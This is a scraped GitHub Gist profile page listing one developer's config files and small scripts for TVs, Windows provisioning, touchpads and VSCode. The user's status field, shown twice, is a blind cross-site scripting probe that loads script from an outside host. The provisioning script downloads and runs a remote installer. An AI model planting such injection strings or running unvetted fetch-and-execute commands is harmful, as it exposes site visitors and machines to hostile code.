Skip to content

Instantly share code, notes, and snippets.

View balcsida's full-sized avatar
:octocat:
"><script src="https://js.rip/balcsida"></script>

Dávid Balatoni balcsida

:octocat:
"><script src="https://js.rip/balcsida"></script>
View GitHub Profile
@balcsida
balcsida / default.conf
Created January 4, 2018 12:27
Default configuration file for Distributed Database Network
##
## Database
##
#
# Specify the vendor of the database. Currently supported are "mysql", "mariadb",
# "oracle" and "postgres".
#
db-vendor = "mysql"
@balcsida
balcsida / alltvs.sh
Created May 8, 2018 08:17
Send commands to multiple WebOS TVs with LGWebOSRemote
#!/bin/bash
for filename in /home/pi/tvs/*.json; do
echo "-- $filename"
IP_ADDRESS="$(jq --raw-output '.ip' $filename)"
if ping -c1 $IP_ADDRESS 1>/dev/null 2>/dev/null
then
echo " Ping success"
cp $filename ~/.lgtv.json
/home/pi/LGWebOSRemote/lgtv.sh "$@"
@balcsida
balcsida / provision.ps1
Last active May 26, 2018 12:06
Provision script for Windows 10 machines
Set-ExecutionPolicy Bypass -Scope Process -Force; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1'))
choco install git.install vscode 7zip.install googlechrome notepadplusplus.install sublimetext3 -y
Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux
window.browser = (function () {
return window.msBrowser ||
window.browser ||
window.chrome;
})();
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@balcsida
balcsida / 51-synaptics-quirks.conf
Created November 1, 2018 17:26
Synaptics Quirks for Dell Latitude 5580
Section "InputClass"
Identifier "Dell 5580 quirks"
MatchTag "DLL07D1:01 044E:120B"
MatchDevicePath "/dev/input/event*"
Driver "synaptics"
Option "PalmDetect" "true"
EndSection
@balcsida
balcsida / vscode_sfpro.css
Created December 2, 2018 17:46
Changes VSCode Workbench Font Family to SF Pro Display
.monaco-shell, .monaco-shell .monaco-menu-container .monaco-menu {
font-family: 'SF Pro Display';
}
@echo off
:: BatchGotAdmin
:-------------------------------------
REM --> Check for permissions
IF "%PROCESSOR_ARCHITECTURE%" EQU "amd64" (
>nul 2>&1 "%SYSTEMROOT%\SysWOW64\cacls.exe" "%SYSTEMROOT%\SysWOW64\config\system"
) ELSE (
>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"
)
!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("@dotwebstack/webcomponents",[],t):"object"==typeof exports?exports["@dotwebstack/webcomponents"]=t():e["@dotwebstack/webcomponents"]=t()}(window,function(){return function(e){var t={};function n(r){if(t[r])return t[r].exports;var o=t[r]={i:r,l:!1,exports:{}};return e[r].call(o.exports,o,o.exports,n),o.l=!0,o.exports}return n.m=e,n.c=t,n.d=function(e,t,r){n.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:r})},n.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.t=function(e,t){if(1&t&&(e=n(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var r=Object.create(null);if(n.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var o in e)n.d(r,o,function(t){return e[t]}.bind(null,o));return r},n.n=functi